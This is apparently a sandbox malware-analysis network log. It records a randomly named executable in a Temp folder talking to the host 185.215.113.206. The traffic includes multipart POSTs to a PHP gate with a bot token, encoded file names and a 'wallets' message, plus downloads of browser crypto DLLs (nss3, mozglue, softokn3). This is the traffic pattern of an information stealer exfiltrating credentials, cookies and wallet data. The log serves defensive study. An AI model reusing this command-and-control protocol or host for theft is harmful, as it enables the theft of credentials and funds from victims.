00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jan 3, 2025 15:21:34.068627119 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49965	185.215.113.206	80	3872	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:21:42.553464890 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBA Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Jan 3, 2025 15:21:42.553486109 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Jan 3, 2025 15:21:43.851736069 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 3, 2025 15:21:44.028208971 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file"------KFCBAEHCAEGDHJKFHJKF--
Jan 3, 2025 15:21:44.827269077 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50021	185.215.113.206	80	3872	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 15:21:56.468408108 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHCFCBKKJDGCAKFCFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="file"------CAEHCFCBKKJDGCAKFCFI--
Jan 3, 2025 15:21:57.727535963 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 3, 2025 15:21:58.265662909 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Jan 3, 2025 15:21:58.483293056 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jan 3, 2025 15:21:58.483318090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Jan 3, 2025 15:21:58.483333111 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Jan 3, 2025 15:21:58.483345985 CET	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Jan 3, 2025 15:21:58.483364105 CET	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
Jan 3, 2025 15:21:58.483375072 CET	224	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GH
Jan 3, 2025 15:21:58.483386040 CET	1236	IN	Data Raw: 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 50 68 0c 01 00 00 e8 fe f9 07 00 83 c4 04 31 ff 85 c0 74 71 89 c6 8b 5d 08 c7 40 08 01 00 00 00 8b 43 04 89 46 04 8b 03 89 45 f0 8b 43 04 8b 48 Data Ascii: uuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]UhV1]Uh6]
Jan 3, 2025 15:21:58.483392954 CET	1116	IN	Data Raw: 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 Data Ascii: E}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]S
Jan 3, 2025 15:21:58.483403921 CET	1236	IN	Data Raw: c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 Data Ascii: MEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf
Jan 3, 2025 15:21:58.483412027 CET	224	IN	Data Raw: 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 Data Ascii: Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRAA
Jan 3, 2025 15:21:58.483423948 CET	1236	IN	Data Raw: fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff ff 35 d1 82 e6 ad 89 d7 81 c7 08 c9 bc f3 89 7d e8 89 c1 81 d1 67 e6 09 6a 89 4d c0 89 fa 33 95 c4 fe ff ff 89 cf 31 f7 Data Ascii: q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xptJ@FR
Jan 3, 2025 15:21:59.463429928 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Jan 3, 2025 15:21:59.680560112 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jan 3, 2025 15:22:00.068541050 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Jan 3, 2025 15:22:00.285629034 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jan 3, 2025 15:22:00.583944082 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Jan 3, 2025 15:22:00.803720951 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jan 3, 2025 15:22:02.370564938 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Jan 3, 2025 15:22:02.588033915 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jan 3, 2025 15:22:02.878810883 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Jan 3, 2025 15:22:03.095868111 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jan 3, 2025 15:22:03.685339928 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Jan 3, 2025 15:22:04.639040947 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:22:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jan 3, 2025 15:22:04.704447031 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="message"wallets------JJECFIECBGDGCAAAEHIE--
